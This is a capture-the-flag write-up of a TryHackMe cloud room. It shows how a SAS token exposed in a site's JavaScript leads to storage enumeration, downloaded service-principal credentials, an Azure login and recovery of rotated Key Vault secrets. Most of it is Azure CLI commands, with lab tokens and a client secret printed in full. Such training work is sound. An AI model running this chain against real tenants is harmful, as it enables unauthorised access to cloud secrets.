TryHackMe Hacker Holidays 2026 — CryptoCabana Writeup

📅 Published 06-08-2026 ·ctfcloud-securitypentesting

Written By Aryan Giri

Room: CryptoCabana
Category: Cloud
Difficulty: Medium
Room URL: https://tryhackme.com/room/hh-cryptocabana-f81cac95

Scenario

Ponzi trusted the CryptoCabana backup kiosk to securely store his cryptocurrency seed phrase. The website confidently claimed:

"Backed up. Sleep easy."

Unfortunately, the application exposed far more trust than intended. Our goal is to investigate what the kiosk exposes publicly, abuse that trust, discover hidden Azure Storage containers, recover service principal credentials, and ultimately retrieve secrets from Azure Key Vault.

Skills Learned

Azure Storage Account enumeration
Azure Blob Container discovery
SAS Token abuse
Azure CLI basics
Azure Service Principal authentication
Azure Key Vault enumeration
Secret version history abuse

Initial Recon

The room provides the following target.

https://cryptocabanaf5scjagc.z13.web.core.windows.net/

Open the website.

The page looks like a normal backup portal.

Since this is a client-side web application, the first step is inspecting the JavaScript.

Open:

Firefox Developer Tools
Debugger (or Sources)
app.js

Inside app.js we immediately discover Azure Storage credentials embedded directly inside the frontend.

The application leaks:

Storage Account
Container name
SAS Token

This means every visitor receives authenticated access to Azure Storage.

Configure Azure CLI

Although TryHackMe provides Azure Cloud Shell, I used the Azure CLI locally on Kali Linux.

Installation is straightforward.

sudo apt install azure-cli

Verify installation.

az --version

Now export the leaked credentials.

export STORAGE_ACCOUNT="cryptocabanaf5scjagc"
export BACKUPS_CONTAINER="backups"
export BACKUP_SAS="?sv=2022-11-02&ss=b&srt=sco&sp=rl&se=2099-12-31T23:59:59Z&st=2024-01-01T00:00:00Z&spr=https&sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D"

Enumerating Storage Containers

Instead of trusting the application, enumerate the entire Storage Account.

az storage container list \
    --account-name $STORAGE_ACCOUNT \
    --sas-token "$BACKUP_SAS" \
    -o table

Three containers are returned.

The room description contains an important clue:

He'd backed his seed phrase up weeks ago, into the CryptoCabana kiosk's vault.

That immediately suggests investigating the vault container first.

Enumerating the Vault

List every blob stored inside.

az storage blob list \
    --container-name vault \
    --account-name $STORAGE_ACCOUNT \
    --sas-token "$BACKUP_SAS" \
    -o table

Two interesting files appear:

backup-service-account.json
seed_phrase.txt

Download both.

az storage blob download \
    --container-name vault \
    --name backup-service-account.json \
    --file backup.json \
    --account-name $STORAGE_ACCOUNT \
    --sas-token "$BACKUP_SAS"

az storage blob download \
    --container-name vault \
    --name seed_phrase.txt \
    --file seed.txt \
    --account-name $STORAGE_ACCOUNT \
    --sas-token "$BACKUP_SAS"

Verify the downloaded files.

ls

Inspecting the Files

Display both files.

cat backup.json

cat seed.txt

The JSON file contains Azure Service Principal credentials.

client_id: dbcf2923-e4eb-4b72-a0a4-688aa1185cf5

client_secret: UBX8Q~xM6vawWZ5u2C-VhLlsB2Cx2dAuxcrAlbRg

tenant_id: 8f8c5f8e-42d3-4ceb-97ad-241bbf446d6c

key_vault_name: ccabana-kv-f5scjagc

The second file contains text related to the challenge, but the real prize is the service principal.

Configure the Service Principal

Export the credentials.

export CLIENT_ID="dbcf2923-e4eb-4b72-a0a4-688aa1185cf5"
export CLIENT_SECRET="UBX8Q~xM6vawWZ5u2C-VhLlsB2Cx2dAuxcrAlbRg"
export TENANT_ID="8f8c5f8e-42d3-4ceb-97ad-241bbf446d6c"
export KV_NAME="ccabana-kv-f5scjagc"

Authenticate as the Service Principal.

az login \
    --service-principal \
    -u $CLIENT_ID \
    -p $CLIENT_SECRET \
    --tenant $TENANT_ID

Authentication succeeds.

Enumerating Azure Key Vault

List every secret stored inside the Key Vault.

az keyvault secret list \
    --vault-name $KV_NAME \
    -o table

Several secret shards are visible.

However, one of them appears to have been rotated.

This matches another clue from Mia.

If a value looks freshly rotated, ask yourself what it looked like five minutes before that.

Recovering Previous Secret Versions

Retrieve the first shard.

az keyvault secret show \
    --vault-name $KV_NAME \
    --name key-shard-1 \
    --query value \
    -o tsv

Retrieve the third shard.

az keyvault secret show \
    --vault-name $KV_NAME \
    --name key-shard-3 \
    --query value \
    -o tsv

The second shard has been rotated.

Azure Key Vault stores historical versions of secrets.

List every version.

az keyvault secret list-versions \
    --vault-name $KV_NAME \
    --name key-shard-2

After identifying the previous version ID, retrieve it.

az keyvault secret show \
    --vault-name $KV_NAME \
    --name key-shard-2 \
    --version 3d6492d2c6f74123bc754a9ded22b2a0 \
    --query value \
    -o tsv

Combining all three secret shards reconstructs the challenge flag.

<!-- Flag intentionally hidden to comply with TryHackMe writeup rules. -->

Attack Chain

Public JavaScript
        │
        ▼
Leaked Azure SAS Token
        │
        ▼
Enumerate Storage Account
        │
        ▼
Hidden Blob Container
        │
        ▼
Download Service Principal Credentials
        │
        ▼
Authenticate to Azure
        │
        ▼
Enumerate Azure Key Vault
        │
        ▼
Recover Previous Secret Versions
        │
        ▼
Reconstruct Flag

What Went Wrong?

Several security issues combined to make the compromise possible.

Azure Storage SAS token exposed inside client-side JavaScript
Excessive permissions granted to the SAS token
Hidden containers were still accessible through Storage enumeration
Service Principal credentials stored inside Blob Storage
Service Principal permitted Key Vault access
Previous Key Vault secret versions remained accessible

Each issue alone is risky, but together they create a complete privilege escalation chain from a public website to sensitive cloud secrets.

Conclusion

CryptoCabana demonstrates how cloud misconfigurations often chain together rather than existing in isolation. A publicly exposed SAS token led to unrestricted Storage enumeration, which exposed privileged Azure credentials. Those credentials granted access to Azure Key Vault, where historical secret versions allowed recovery of previously rotated values.

The room provides an excellent introduction to Azure Storage, Service Principals, Key Vault, and the security implications of trusting client-side applications with sensitive cloud credentials.